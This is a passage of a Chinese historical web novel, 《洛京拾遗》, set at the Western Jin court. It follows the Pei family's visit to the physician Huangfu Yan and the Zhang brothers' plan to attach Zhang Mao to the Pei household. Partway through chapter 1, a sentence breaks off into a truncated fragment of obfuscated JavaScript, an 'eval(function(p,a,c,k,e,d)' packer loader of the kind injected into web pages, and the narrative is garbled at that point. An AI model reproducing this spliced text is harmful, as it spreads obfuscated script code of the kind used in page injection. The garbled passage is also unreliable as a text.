《洛京拾遗》 1. 神医馆内初相逢,裴家璞玉见麒麟 洛阳南向二百里,高山屏障,有伊水穿山而过。伊水流经处,冲刷出大小十数个的山坳村镇。 其中有一个小镇伊东,背山临水,宛如口袋,树丛掩映,天灾极少,又沿河谷沟通京畿直道,交通便利,很得高人隐士厚爱。 这日,商星未退,晨曦微露,自直道行来数量轺车,每辆车上站着两名覆甲部曲,中间围着一辆画轮四望通幰七香车。 有三两山野闲汉见到,赶紧避让于道边,低头躬身等车队经过,这才敢抬起头来,对着扬起的尘土指点,嚯!这大阵仗,很久没见到了,不知是哪家贵人哪? 伊东镇南向有一片方园十里的箭竹林,原属曹魏中书令李丰。李丰因儿子谋反被牵连,这片茂林就被医圣皇甫谧的儿子皇甫严买了去,劈竹盖馆,作为定居之所。因他在杏林名气和他爹一样大,且不似他爹那样清高,前来求医问药的京畿显贵能将直道踏破。故而当地人干脆叫这片箭竹林为扁鹊林,唤皇甫严为“扁鹊公”。 直到两年前,皇甫严与号称神算的师兄挚虞相约云游,热闹一时的扁鹊林才突然门庭冷落下来,连带着伊东镇也冷清很多。今日这么早就有贵人寻来,是两年里未有之事。 乡人不免猜测,扁鹊公回来了? 香车内,一个头梳双丫髻,身着蝙蝠纹对襟复裙的女童,偷偷撩开夹着鹅绒的犀皮围挡,隔着镂窗好奇地看向外面。 小女郎约莫八九岁辰光,生得肌如白雪,眉若翠羽,目若秋水,唇红齿白,顾盼间,灵气逼人。 “元娘,”身后着忍冬纹深衣的少妇把她手里的围挡放下来,柔声道:“仔细风大。” “阿母,听阿毗说,神医家还住着神算,我们这次是去找神医还是神算呢?” 少妇好笑地摇头:“当然是求神医了,神算是卜人命数的,又不能治病。” 她看了一眼睡于乳媪柳氏膝上的少年,叹道:“何况,你哥哥痴顽是天生的,神仙也无法啊!” 柳氏膝上正酣睡着的青年,舞象的年纪,只看皮相,肤白红唇,很是清秀,谁能想,竟是个脑子不大灵光的傻子呢? 少妇垂眸,思绪回到九年前,丈夫钜鹿郡公裴浚骤然离世。先皇以长房庶子裴憬年幼愚顽为由,一道敕令,将爵位夺给了她的小叔子、时任国子祭酒的裴頠。可怜她们长房一门老弱痴顽,只能眼睁睁地看着二房袭爵。 好在小叔子裴頠还算良心未泯,得势后,以自己平叛有功为裴憬请封。皇后这才给阿憬补了个高阳亭侯的虚爵。只是郡公与亭侯之间,差得可谓十万八千里! 她也不忿过,可是连她的婆母兼姑姑郭太夫人都默许这事。她一个寡妇能有什么办法?她也试图求助时任右将军的父亲郭展。可她一介庶女,本就不得家里重视。否则当年父亲也不会为了给大表哥冲喜,把她嫁过来了。 果然,阿耶不仅不帮她,反而劝她:“阿憬痴顽,承袭高位犹如童子抱金夜行,易遭祸患,不如既明且哲,以保其身哪。” 可是,天子也是傻子啊! 少妇每每想到此处便觉愤懑,哦,天子能是傻子,郡公反倒不能? 这名少妇就是先钜鹿郡公裴浚的遗孀,右将军郭展的庶女,小郭氏(因其婆母是她的二姑,亦是郭氏,故而后文统称其为小郭氏)。 太原郭氏系武将世家,曹魏多名将,哪怕改朝换代,势力依然经久不衰。当今皇后贾南风之母——广城君郭槐,就出自郭家,是这位小郭氏的大姑。 方才与她说话的小女郎,是她的独女裴妍,在钜鹿郡公府行元娘。乳媪膝上酣睡着的那位,即是因“愚顽”而失了郡公爵位,改封高阳亭侯的长房庶子裴憬。 此番来伊东,也是为了裴憬脑涎之事。裴憬自小憨傻,却从来听话懂事。自去岁起,突然变得喜怒不定,伺候他的使女动辄得咎,光被他撵走打伤的就不下十余人。 小郭氏作为她的嫡母,虽恼他碍事,但他毕竟是长房唯一的男丁,不求他长进,但求他长命,若是他有个三长两短,他们长房岂非断了香火?届时,族里定会逼着她再行择嗣的! 小郭氏下意识把裴元娘搂在怀里。 为了保证嗣子能“立住”,过继来的孩子少说也有十来岁。养不熟不说,万一是个精于算计的,她百年之后,元娘该怎么办? 自家人知自家事,裴憬痴愚,众人皆知。她的女儿裴妍,和二房的侄女比起来,亦显愚顽,只是世人对女子的才情并不看重,加上阿妍年岁还小,又出落得玉雪可爱,这才没人深究罢了。 小郭氏意味深长地看了眼兀自酣睡的裴憬。裴憬虽憨傻,却有一颗赤子之心,与元娘感情深厚,平日里很看重这个妹妹,对她这个嫡母也很尊敬。就为这个,她也得把这个小祖宗伺候好了! 母亲的心思裴妍浑然不知。她正舒服地埋头在阿母浸染了忍冬耳香的怀抱里,车里红炉炭火咘咘地跳着,御车的部曲车技娴熟,垫了皮圈的四轮香车在直道上疾驰,上下颠簸中,车檐的占风铎很有韵律的叮当作响。 裴妍掩口打了个大大的哈欠,她有心提醒自己,快到地方了,可不能睡,阿毗提醒自己的事还没办呢!可到底年岁尚小,不一会,便趴在母亲怀里,沉沉睡去…… 白云山下,幽篁深处,有一竹木造就的小楼,占地不大,拢共两层。时值冬日清晨,寒霜遍地,虽有高山屏障,林中依然北风料峭。任外间如何天寒地冻,小楼里依然温暖如春。 一个八九岁的垂髫小童,正倚着三扇琉璃屏煮茶,刺啦声自红铜夔兽炉里发出,小童没留意,手被火舌子烧了下,缩手惊呼一声:“疼煞”!复又立时捂住嘴,转头看向屏风。 熹微的晨光穿过琉璃屏,依稀可见麻帷之后,床上手谈的俩人并左右观棋者都在对着方寸棋盘沉思,未受影响。小童这才拍拍胸口,继续手里的活计。 室内拢共四人。执白子的长者,年逾不惑,束发笼冠,外罩墨色纱巾,身体枯瘦,脸青逾黑,偶或清咳,胡坐床上,有不胜之态。 拈黑子的青年郎君正值弱冠,俊容仪,身躯凛凛,相貌堂堂,坐卧之间有伏虎之态,施施然不失文雅之气,头戴青色莲花纶,褒衣博带,是个儒生。 另有一老一少两个观棋者,分坐于床边矮榻之上。 老者是个头戴漆纱笼冠的文士,上身对襟素色宽袖衫,下着阔腿褶裤,膝上还扎了靛带。他轻抹八字胡,眼珠一转,与对面端坐的少年郎挑眉道:“二郎,成败定否?” 对面坐着的少年郎年正舞勺,皮肤白净,身材劲瘦,目若朗月寒星,鬓若石刻刀裁,利落的胡服短靴,梳楚髽发,正襟危坐,虽稚龄,自有横阔气度。 少年看着棋盘,轻轻点头,又立时摇头。 文士故作不解:“定,又未定,二郎何意?” 少年抬眸,眼若星子,笑若清泉:“仲洽师叔,观棋不语。” “无妨!”执白子的长者痛快地扔了手中棋子,饶有兴致地看向少年:“胜负已分,后生可畏,吾固不如你阿兄,只是二郎何以微颔复摇首耶?” 少年看向执黑子的兄长,见兄长也放下棋子,对他微微颔首。这才答道:“阿兄三三处有假眼,皇甫师叔提子打劫,可公活。” “竖子!”张寔故作训斥。他擅弈,然而皇甫严到底是他的师叔,如今张家有求于他,那个高目,自是他有意疏忽留下的缺口,却被幼弟识破了。 “哈哈哈哈,二郎妙手!”文士抚掌,看看张寔又看看张茂,满意地道:“大郎凤雏,二郎麟子,士彦师兄好福气!” 张寔谦逊一笑:“寔鄙陋,茂轻狂,挚师叔缪赞。” 这时,守门户的小童进来向老者禀报:“郎主,钜鹿郡公府的人到了!” 张家兄弟微不可查的心神一凛,脸上也凝肃起来。 执白的老者心疼地看了眼兄弟俩,又扫了眼略显坐卧不安的文士,叹道:“你自己不愿求人,却要我这个老汉去,害人哟。” 那文士有些羞惭地摸了摸鼻子,赶紧对张家兄弟解释道:“非师叔不帮你们,早年我确实与鲁国公有几分交情,后来却因立太子一事与他交恶颇深。若让他得知,荐你们的中人是我,以他睚眦必报的个性,少不得为难你等。”他摇了摇头,“得不偿失!” 张寔谦恭地道:“挚师叔这么说,我兄弟二人真不敢登门了。本就是不情之请,倒连累二位师叔为吾等受累!” 那文士心里略好过些,复又安慰他俩,故作神秘道:“我晨起卜了一卦,尔等所求,必能如愿。”这话也是说给那老者听的。 老者忿忿不平地对他冷哼一声,这才起身拂衣,对张家兄弟道:“贤侄稍待。”言罢理了理衣襟,推门待客去了。 原来刚才出去的老者就是名满天下的神医皇甫严,而这位文士则是皇甫严的师弟,人称神算的挚虞! 至于这对兄弟,是皇甫严与挚虞的师兄张轨的儿子,大郎名唤张寔,二郎名唤张茂。 皇甫严下楼待客。余下三人自便。 挚虞作为半个主家,登床补长者位,重新布棋。 张寔知道弟弟不愿拘在这里,便对张茂道:“茂弟自去,吾与挚师叔手谈一局。” 张茂点头,窗门紧闭,炭气熏人,他正觉昏沉。床上俩人落子无声。张茂不动声色地踱步到门边,拉开一点槅门,瞬时凛风拂面,他深深吸了一口气。 楼下人声浮动,想是裴家人进来了。 他面上云淡风轻,心下却风起云涌,暗自盘算。 自入秋至今,朝中动荡,血灾不止。贾后联合汝南王、楚王,囚太后、诛三杨。次月,楚王公然矫诏弑汝南王并卫太保。上月,贾后又以楚王秘弑叔祖的罪名,灭楚王及其党羽。 短短三个月,前后遭灭族伏诛者竟有千人之多,世家亦多倾覆。 如今,洛阳人人自危,道路以目。他们张家亦是战战兢兢,如履薄冰。无他,阿父虽早就弃笔从戎,转入了征西军,凭军功累迁征西军司,散骑常侍,但他仕宦之初,却是受到卫将军杨珧的征召,入京授太子舍人。这样算来,阿父算是杨家的半个门生。 更要命的是,自两年前赵王接手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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钜鹿郡公裴頠,出身河东裴氏,又是贾后的表弟。张司空亦劝父亲投效他门下——裴家十世高门,若得他的庇护,何愁身家性命? 他阿耶听罢,皱眉撸须,沉吟半晌,最终写了道密信,送与两位师叔——其他人求见神医或有难度,但他阿耶早年曾拜医圣皇甫谧为师,与神医皇甫严、神算挚虞是同门师兄弟。 于是数日后,皇甫师叔与挚师叔携手回京,二人与父亲在书房商议大半日,这才有了今日之谋——借裴家大夫人之手,将自己荐为高阳亭侯裴憬的伴当。 用阿耶的话说:“钜鹿郡公几番为侄儿请封,想是对长房有愧吧!有此从父,高阳亭侯无忧矣。” 可是,京中盛传,那位高阳亭侯裴大郎,是个傻子啊!自家竟沦落到要借痴儿攀附的境地吗? 师祖皇甫谧曾言自己是张家的麒麟子,长兄亦说自己若早落生几年,有杨将军作保,做诸侯伴读也使得。可惜,如今三杨被屠,天子愚顽,贾后把持朝政,党同伐异,任人唯亲。他阿父早年驱秃发鲜卑、赶仇池余孽,战功赫赫威名远播,如今却只得壮年赋闲,虚度光阴。他阿兄文武双全,名列太学头部,然而弱冠之后,却连九品的起家官都捞不着,甚至不得不为了保住家门与商户女结亲。 张茂又回头看了眼正凝神弈棋的长兄,心下戚然。 算了,如今朝局混乱,想要振兴家门,有所作为,只得行攀附之事。大丈夫能屈能伸,傻子又怎样?为了家门,阿兄可以与商户女议婚。他只是暂时侍奉一个愚顽之人而已,算得了什么呢? 几息之间,张茂心绪平复下来,正欲回内室,骤然发现槅门外不知何时站了一人,约莫齐他的胸口高,眨巴着亮如星子的大眼睛,正一闪一闪地仰望自己。 “何人窥伺?”张茂骇了一跳,下意识后退半步,手按腰间,摸向匕首。 赶来的小童惊呼:“二郎不可,是裴府女郎!”说罢“哗”地一声把槅门完全拉开。 张茂定睛一看,原是一个八九岁的垂髫女童,正站在门外,好奇地看向他。 裴元娘锦帽貂裘,立于初冬晨霜之中,更衬得她肌肤胜雪,眉若远山,目若寒星,顾盼之间,灵光照人。虽年龄稚小,却不掩倾国之色。 鬼使神差地,张茂脑中突然冒出曹子建的那句:远而望之,皎若太阳升朝霞;迫而察之,灼若芙蕖出绿波。 挚虞与张寔本在室内对弈,听到外头动静,也赶出来探个究竟。 一时间,挚虞、张寔连带着半大小子张茂都有些面面相觑。 张茂到底年龄尚小,不似挚虞与张寔的第一反应是头疼。他饶有兴致地打量起眼前的小姑娘——他就没见过这么漂亮的女孩子! 被围观的裴妍丝毫没觉得不对劲。她歪着头,也好奇地打量他们三个。听司马毗说,神医的师弟是个了不得的神算,能跟神仙沟通,会是哪个呢? 张寔扶额,河东裴氏就这么放任自家女儿乱闯?他们这些爷们儿,从来只与男子交通,何曾看到过本家以外的女孩子? 挚虞朝门外小童使了个眼色。小童虽年幼,却伶俐得紧,立即会意,撒丫子跑到楼下向裴家大夫人禀报去了。 但是这会,室外天寒地冻的,裴家女郎又是稚龄…… 挚虞和张寔犯了难,让她进来吧,男女七岁不同席,怕冲撞贵女,更怕冒犯钜鹿郡公府;不让她进吧,女童娇弱,万一受寒…… “诸君当中可有神仙?”不等他们想明白,女娃先开了口。 张家兄弟立时看向挚虞——原来是找挚师叔的。 2. 第二章 张茂挑眉。 挚虞是前太仆卿挚模嫡子,幼承庭训,擅演天时,尤精卜算。 当年,先帝欲立今上,命挚虞问筮。 挚虞得凶卦,奏于先帝,言:“痴儿覆国,请立齐王。”先帝却笑笑不置一词。挚虞欲再进言,却被他的父亲,身为太仆卿的挚模给一手拎回了家,厉声质问他:“竖子欲覆家门乎?” 挚虞这才明白,先帝宁愿立自己的傻儿子做皇帝,也不愿把皇位拱手让给一母同胞的齐王。可是,一国之君,怎么能是痴子呢!他不顾父亲反对,再次上书。这回,先帝雷霆震怒,本欲将他收监绞弑,幸得师父皇甫谧全力搭救。皇甫谧对先帝有救命之恩,虽不入仕,却简在帝心。先帝这才收回敕旨,将挚虞贬至关中,远远打发出去了。 挚虞轻咳一声,摸摸鼻子,试探道:“贵女找老夫,有事?” 裴妍不好意思的点头,正欲说话,“阿欠!”她打了一个大大的喷嚏。 那童子不知怎么传话的,楼下依然静悄悄地没有动静。 挚虞拿捏不准裴家大夫人什么时候来,但裴家女郎受风却是大事,他只好让开槅门,对裴妍道:“请贵女入内室一叙。” 裴妍早就想进屋了,外面实在太冷!她毫不犹豫地绕过三人,摘了鞋履,蹬蹬蹬跑进屋里去了。 门外三人互相对视一眼,都无语地摇头。只听说裴大郎痴傻,没听说裴元娘愚顽啊! 挚虞若有所悟,了然地抹了把八字胡,意味深长道:“今日方悟王夷甫(王衍)所言。” 张家兄弟疑惑地看向他。挚虞做了个噤声的手势,对他二人轻声道:“事后与你们分说。” 屋里被三扇风屏与麻帷分为了内中外三截,裴元娘就耐心地站在门口的屏风处等着他们。 挚虞将她让进了内室麻帷后的床上,自己坐另一侧,张家兄弟陪坐于床边两榻上,又吩咐门外小童准备热汤。 坐定后,裴妍有些不好意思地对张家兄弟道:“小女想单独与神仙说话。” 张寔倒没什么,张茂却眉毛高挑,小女郎事挺多! 挚虞对他们点点头,张家兄弟只好认命地又退了出去。 待内室只余挚虞与裴妍并屏风外煮茶的小童后,裴妍终于说明来意:“小女想求问一人运势。” 挚虞挑眉,这丫头真把自己当神棍啊! 自家人知自家事,他精于天象地理的演算,这跟人的命数其实没有多大关联。至于立朝以来言中的那几件大事,也只是在天时地利人和下得出的推论罢了。他哪里真有本事去卜算他人的命数呀? 见挚虞皱眉不语,裴元娘忐忑问道:“神仙可有难处?” 挚虞推脱道:“人各有命,神仙也未必能观尽他人气运。” 裴元娘却坚持:“烦请一试。” 挚虞有些好奇,一个小女郎,除了父兄,能关心谁呢?他试探地问道:“女郎可是想问高阳亭侯的病症?” “这倒不是!”元娘有些难为情道:“其实我阿兄这样挺好的,他比我的堂兄们快活多了!” 挚虞有些意外,确实,傻人有傻福,小姑娘年纪不大,倒是看得挺通透啊。 裴妍却突然止了话头,别有深意的看向屏风外的小童。 挚虞了然:“女郎勿忧,今日所言,必不出内室。” 裴妍这才道:“是我的一个远房表兄,近来总为起家之事烦忧。” 挚虞皱眉。河东裴氏的姻亲都是皇亲国戚,还要为起家官犯愁吗?转念一想,怕不是诸王吧!封地何处,哪里为政,大有讲究。 挚虞不动声色的拒绝:“女郎须有那人八字。” 裴妍秀眉微蹙,原来求问人的运势得要八字啊!也对,司马家诸侯多了去了!没有八字,老天哪里知道她问的是哪一个? 她有些暗恼,这个司马毗,光知道劳烦她打听,却什么都不告诉她! 裴妍暗暗打量挚虞,传言这位神仙飘忽不定,她若当下不问,待下次可未必能再碰上他了。她倒不是非得帮司马毗的忙不可,只是那人与自己一般父亲早逝,家门无人,着实可怜。自己若能帮他一把,何乐不为呢? “给名字可否?”裴妍小心翼翼地看向挚虞。 挚虞不忍心回绝,只好做了个“请”的姿势,裴妍的表亲,必不是无名之辈,有了名字总好推算的。 就着手边茶水,裴妍在她面前的小案上,认认真真地写下一个“睿”字。 挚虞挑眉,原来是去年刚袭爵的琅琊王司马睿啊!帝室疏族,年少失怙,无兵无权。如今女主当政,牝鸡司晨,乱象初显。琅琊王想独善其身,不是易事。然而,知道是谁就好办了! 挚虞双目微阖,一只手轻抹八字胡,另一只手做拈决掐指状,反复斟酌,半晌才睁开眼,指着东南方向,对她道:“女郎语焉不详,神仙也看不清楚,只道那人运势,或在江东。”江东偏安一隅,远离京城是非,自保总是没问题的。 江东?裴妍有些不开心,这么远啊。 她们兄妹因常在东海王府小住的缘故,跟同样与东海王府来往频繁的琅琊王司马睿有些交情。琅琊王虽少年袭爵,但待人谦和,对裴家兄妹也很有耐心,这样的人谁不喜欢?可这样的神仙人物,居然要去江东才能顺遂,真让人舍不得啊! 罢了,待司马睿去了江南,她可以和阿兄还有司马毗去江南看他呀?听说江南的鲈鱼和莼菜甚美,是京城没有的鲜甜口味,她还真想尝尝呢! 小姑娘想得简单,自觉做成了一件大事,人也开心起来,心情大好之余,又觉得应该好好谢过神仙。 于是她抖抖大袖,抓摸一气,从袖囊中掏出一对小小的玉鸽,通体流畅,白质综纹,色润光透,十分可爱。 挚虞眯眼,袖子里大拇指暗暗摩挲着食指,嘿呀呀,瞅着该是先秦古物呢。 裴妍大方地双手呈与他道:“神仙指点,小女铭记。” 这是献与神仙的谢礼,挚虞毫不客气地收下了。门外突然有童子拍门:“神仙神仙,裴家夫人要女郎回去。” 裴妍知道定是自己偷溜太久,被阿母发现了。赶紧起身朝挚虞一礼,匆匆随小童回去了。 她出去后,门外廊上徘徊地张家兄弟终于可以进入内室。 张寔抖抖一身寒霜,手在火炉上狠狠烤了烤。 张茂却正值少年,不怕冷。他坐定后,摇头笑道:“裴家女郎是痴的吗,把我俩支开,独问师叔,她就这么信得过您?她怎知您不会外道?” 挚虞轻咳一声,喝茶润口,含糊道:“小女郎年龄虽幼,却有朗月胸怀,二郎不该这样说她。” 张茂不以为意,问道:“女郎找师叔何事?”自家人,看你说不说。 挚虞出卖得毫不迟疑:“所忧者琅琊王。” 那个刚袭爵的少年?众人好笑地摇头,只当小姑娘心血来潮,全然没放在心上。 挚虞做梦也没想到,说者无意,听者有心。自己随口一句谶言,若干年后,竟让风雨飘摇的晋室续命百年! 张寔抖抖衣袖,露出冻得发红的手来,一边烘烤,一边和挚虞闲聊:“师叔方才提起王尚书的批语?” 挚虞一抹八字胡,娓娓道:“月前,钜鹿郡公曾约家父并王夷甫饮酒,席间王夷甫豪言:‘吾家女儿若芝兰,儿郎若玉树。’钜鹿郡公摇头,曰‘吾家儿郎固不如玉树,女儿远胜芝兰’。遂命从女元娘及幼女二娘前来。王夷甫看到二女,大惊:‘天下绝色,裴氏双姝,元娘璞玉,二娘明珠。裴家女郎,如珠似玉也!’” 王衍善相面,世人皆知。得他评点者,无论男女,皆可名声大噪。可这事不是当用在即将入仕或是待嫁的女郎身上么? 张茂估算了下裴妍的年龄,好笑道:“稚龄女童,焉能看出国色天香来?”唔,虽说今天看来,裴元娘确实可爱得过分,想来她妹妹颜色定然也不差,但小女孩而已,这样盛赞,为时尚早吧! 张寔亦皱眉:“王尚书与钜鹿郡公有亲倒也罢了,挚太仆却是外男,郡公何以召女眷……” 挚虞不语,只高深莫测地伸出一根手指头,朝天戳了戳。 张寔似了然。 张茂却没看明白。 张寔提点道:“你一直在阿耶军中,许是没印象。月前,张司空上奏,太子已满二八,当择宗妇以告太庙!” 这样一说,张茂心思电转,很快也想通了大概。 裴頠为什么要当着外人的面把侄女和女儿都叫出来?王衍自己家就有四个如花似玉的女儿,为什么要当着太仆卿挚模的面,盛赞裴家女儿呢? 其实,裴頠与王衍正好代表了世家对太子选妇的两种截然不同的态度。 裴頠曾任太子少保,与太子有师生之谊,对太子多有照拂,虽是贾家表亲,却也算半个太子党。 太子生母是屠户出身,人微言轻,又无得力的外家支持。但若太子妃出自他们裴家,那么河东裴氏便能借太子名头,光明正大的为东宫张目,依河东裴氏的门楣,后党贾氏都得退避三舍。 至于为什么裴頠要祭出自己年幼的侄女和女儿,而不是从族里挑选适龄女郎? 大概率上河东裴氏也还在观望,并不想过早站队,只是既然裴頠坚持,便先推出他家这一支。反正裴頠家的女孩还小,即便进了东宫,短期内也不会受宠有子嗣,与裴家的捆绑还不算深。 至于王衍,与裴頠相反。 百年世家太原王氏在改朝换代中遭到重创,琅琊王氏作为太原王氏的远支,正忙着收拢太原王氏的残余势力为己用,妄图让自己跻身顶级世家的行列。 如今,贾后势大 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太子在贾后的母亲——广城君郭槐的怂恿下,居然拒绝了裴頠的联姻提议,一心想要与贾后的妹妹贾午攀亲。 这把裴頠气得够呛。他顶着家族压力,尽心尽力为太子奔走,结果太子却想另攀高枝。河东裴氏,赫赫百年,是要脸的!既然太子无意,他又何必热脸贴冷屁股!加上自家侄女和女儿确实年幼,河东裴氏自诩清流,本就不是靠外戚起家,他便熄了送女入宫的想法。 然而贾后的妹妹贾午,比贾后还要不待见太子。她正幻想着立自己的儿子做太子呢! 在她看来,既然自己的长子能过继给贾家做嗣子,小儿子自然也能过继给司马家做太子嘛!反正天子痴傻,朝政还不是她姐姐做主!在这个节骨眼上,她怎么可能把女儿嫁给太子这个眼中钉呢!于是她不顾母亲郭槐的撮合,直接拒绝了太子的提议。 太子没法,裴頠撤局,贾午不乐意。清河崔、颍川荀更是不搭理他。他只好转过头来求取琅琊王氏的女儿。毕竟和前面这些人家相比,琅琊王氏实力略低一筹,还算好说话点。 王衍起初坚决不同意。太子无根基,就是个光头将军!心意还不坚定,眼见裴家和贾家都攀不上才想到他们王家,当他琅琊王氏好欺负么! 可他的族弟,驸马都尉王敦却另有盘算。 自太原王氏衰微后,琅琊王氏趁乱崛起,但毕竟时日尚短,论治学不如清河崔,论权势不如河东裴,论声望不如颍川荀,在顶级世家眼里,还是差了一筹。琅琊王氏想要更上一层楼,尚缺一个契机。 王敦认为,或许这机会就应在贾后与太子身上。毕竟天子痴傻,太子力孤,政事只能托付于外戚——太后母族杨家、皇后母族贾家还有太子未来的妻族。 三股势力中,杨家已于三个月前落败,被贾后屠尽,如今朝堂尽在贾后手中。但是,贾后无子,太子却是今上独子,有着无比正统的大义名分,因此太子的妻族便显得尤为重要。 若王家能与贾家和太子两头联姻,则将来无论哪一方胜出,琅琊王氏都可坐享渔翁之利。 于是,在王敦的积极游说下,王衍也动摇了。正好贾后和太子都有意拉拢,王衍最终还是听取了王敦的建议——把以美貌闻名的长女王景风许配给贪婪好色的贾家嗣子贾谧;把以贤德闻名的二女儿王惠风嫁与太子司马遹为东宫妃。 依照王衍和王敦的设想,两头联姻既可以拉拢太子,又不得罪皇后及贾家,同时还能调和双方的矛盾,王家在党争中可谓立于不败之地。 本意是好的,只是王敦也没有算到,那太子看起来挺聪敏的一个人,却是个好色的主!他对王惠风的长相百般不满意。他认为自己身为储君,应该由他来迎娶王衍的长女、以美貌著称的王景风才对。太子认定是贾谧见色起意,横刀夺爱,抢了本属于他的妻子! 也因此,太子和贾家的矛盾不仅没有缓和,反而被进一步激化。这也为后来太子被贾后赶出京城甚而被活活逼死埋下了祸患——这却是王敦始料未及的。 当然这是后话了。 这里面的诸多内情,挚虞并张家兄弟无从得知。他们只能猜出个大概——裴家曾想过站队东宫,只是后来没能成事,让琅琊王氏占了便宜。 张茂好不容易把里面的弯弯绕绕搞清楚,忍不住替裴元娘捏了把冷汗,幸好这事没成! 如今贾后势大,各路诸侯隔岸观火,东宫既无得力的母家支持,又无可靠的姻亲撑腰,明眼人都看得出来太子的地位岌岌可危。裴頠与太子再师徒情深,也不能枉顾家族利益,趟这波浑水呀。 想到方才那个玉雪可爱的小女郎差点成了危如累卵的东宫妃,张茂饮下一口热茶,放在面前的缇几上,摇头轻笑:“她还是璞玉哪?” 3. 第三章 花开并蒂,各表一枝。 楼上诸故事,自然影响不到楼下。 一炷香之前,小郭氏携乳母并刚睡醒的裴家兄妹在童子的引路下,进了花厅,部曲车马则停在馆外竹林里。 刚坐定,急着去找神仙的裴妍就借口更衣溜开了。 小郭氏本遣了一个侍女跟着,奈何裴妍鬼灵精,被她避开了。 裴妍让婢子站在入口处把风,自己进去解手,完事后发现旁边居然有个侧门,于是她半是好奇,半是有心地从侧门偷偷溜了出来,绕过婢女把风的小菜园,一个人到了竹楼后面。 竹楼的一层是神医问诊之所,兼药物储存、晾晒和炮制的地方,正、侧门都有童子把手。反倒是竹楼后面鲜有人去。 裴妍看到不远处有个步梯,二楼隐隐有人声,她想神仙总是住在高处的,就径自摸上了楼……这才有了后面与挚虞的那出“茶室之谋”。 裴妍走后不久,小郭氏还没来得及过问女儿,神医皇甫严就进来了。 他亲自给裴憬把脉问诊,内室里没有外人,小郭氏把裴憬这两年的反常一五一十地说了,然后满脸忐忑地等着神医的诊断。 皇甫严跪坐于床,反复斟酌良久,始对小郭氏道:“高阳亭侯舞象气盛,脾常不顺,气化不利,化源不足,以致情志不舒;更兼饮食积滞胃腑,胃气上逆,这才情志致病。” 用后世话说,这小子血气方刚,你们府上又吃的太好,裴大郎积食不化,两相夹击,这才影响了情绪…… 可小郭氏不懂啊!她生的是女儿,庶子一直是乳母带着,她哪里知道这个年岁的郎君该怎样? “这……严重么?” 皇甫严故意道:“情志致病,可大可小。往小里说,轻症调理个三五日,自可痊愈。往大里说,常有少年郎君肝火过旺,心烦气躁,不可自抑,疏泄无门,自戕而死。” 小郭氏更紧张了:“唯唯,吾儿此症已有两年,可见不是轻症,扁鹊公可有良方?” 皇甫严见小郭氏是真着急,心里有了底,拿便面轻轻扇着风,不疾不徐道:“令郎可有兄弟?” 小郭氏迟疑:“有……两位堂弟。” “与大郎长在一处?” 小郭氏尴尬道:“两位郎君已然娶妻入仕。”即便没成家立业的时候,人家也是二房的嫡子,与长房的庶子能有多少交情? 皇甫严做了然状,便面摇得更起劲了:“老夫倒有一良方。” 乳媪柳氏微微皱眉,肥厚的身躯不动声色地往主母面前挪了挪,拿身体替主母挡去一点风。这个神医自己一副痨病鬼的样子,大冷天的,学人家儒生扇什么扇子! 小郭氏却把她往旁边推了推,朝皇甫严恭谨道:“扁鹊公但说无妨。” 皇甫严继续忽悠:“人在年少,神情未定,所与款狎,熏渍陶染,言笑举动,潜移暗化,自然似之。是以君子必慎交也。” 小郭氏听得云里雾里。郭氏是武勋世家,子女学问不算好。 皇甫严看小郭氏直翻白眼,显然没听明白,只好说得直白些:“少年郎君还是该有个年岁相当的伴读。整日一个人,进学游戏,连个说话交游的人都没有,多无趣啊!” 小郭氏这回听明白了,她回想了一下,裴大郎裴二郎在这个年纪,已经入了国子学,有一票同窗;可她家裴憬,却因为憨傻,至今只能窝在钜鹿郡公府的内宅里和妹妹厮混。可裴妍是女郎,随着年龄渐长,跟郎君差异越来越大,说来裴憬是真孤单…… 伴读么?倒不难。她暗忖,回去就让管家裴扉到部曲里挑些适龄的小郎送上来。伴读的地位可高可低,可以是族里的旁支庶亲,也可以是下面的家臣部曲。鉴于裴憬痴傻,小郭氏直接排除了第一项,没得让亲戚笑话! 皇甫严见时机已到,此时不举荐,更待何时。他一摇便面,手指楼上,对小郭氏道:“老朽有一世侄,年正舞勺,祖上亦是世家,仁义磊落,敦厚赤诚,只可惜家道中落,前途渺渺,无处起家,若裴府不弃,愿为亭侯效臣役之劳。” 哦,皇甫神医的后辈,家道中落的世家小郎,小郭氏有些意动…… 裴妍进屋的时候,正遇上皇甫严命童子去楼上请张茂。 裴妍老实地跪坐在阿母旁边的矮榻上。 一旁的裴憬已经坐得不耐烦了,只是碍于嫡母威严,不敢发作,正左挪右歪地舒缓双腿,看到妹妹进来,这才稍稍平复些,趁着嫡母与神医聊天,与她耳语:“阿妹可见着神仙?” 裴妍点头,小声地对他道:“见到啦!回去与你细说。” 不多时,张茂被请进了花厅内室。 裴妍还记得他,刚刚在楼上,这家伙一见到自己就要拔刀呢!不过方才没来得及细看,如今定下神来瞅他,才发现这小郎君长得可真俊!尤其那双眼睛,亮如星子,看着你的时候扑闪扑闪的,好似会说话。 许是常年习武的缘故,张茂即便穿着常服,也有龙虎之态,站在那里落落大方,很有精气神。 因是个半大小子,又是神医皇甫严的后辈,小郭氏也懒得命人支纱屏,大大方方地受了张茂的礼。 小郭氏对张茂的第一印象很满意。 从相貌上看,张茂和裴憬都是眉清目秀的斯文少年,只是裴憬因长年在内帷厮混,女气有余,英气不足。而张茂正好相反,他看起来是白面书生,但因自小长于军营,举手投足间精光内藏,见礼时不急不徐,小小年纪,大气沉稳,是个佳儿。 小郭氏温和地请他坐到裴憬旁边的坐床上去,耐心地问了他的姓名,年岁,家中人物。 张茂都不卑不亢地一一答了。 原来张茂十四岁,比裴憬还小两岁。 小郭氏点头,这个年龄有这番气度,可见家教极好。 张茂又讲自己出身安定张氏,祖父曾为太官令,小郭氏又点头,唔,还算清贵。 待他说到自己父亲是员外散骑常侍张轨,曾在征西军司供职时,小郭氏脸色渐渐凝肃起来,她别有深意地看了眼对面的皇甫严。 皇甫严有些心虚地解释道:“夫人容禀,他父亲是小老儿的师弟,虽忝为三品武官,却因起家之事为三杨所累,如今人在征西军司,却半分差事也无,与赋闲别无二致。” 小郭氏一时没有说话。张轨再落魄也顶着一个散骑常侍的虚衔,虽为散职,但到底名义上是入则规谏过失、备天子顾问,出则骑马散从的三品武官。张轨的儿子不同于家道中落的破落户,更不是家里的部曲奴仆。很显然,人家想要攀附的不是裴憬这个小小的高阳亭侯,而是钜鹿郡公府的当家人裴頠啊!这就不是单单招伴读这么简单了,更不是她能轻易做主的事了! 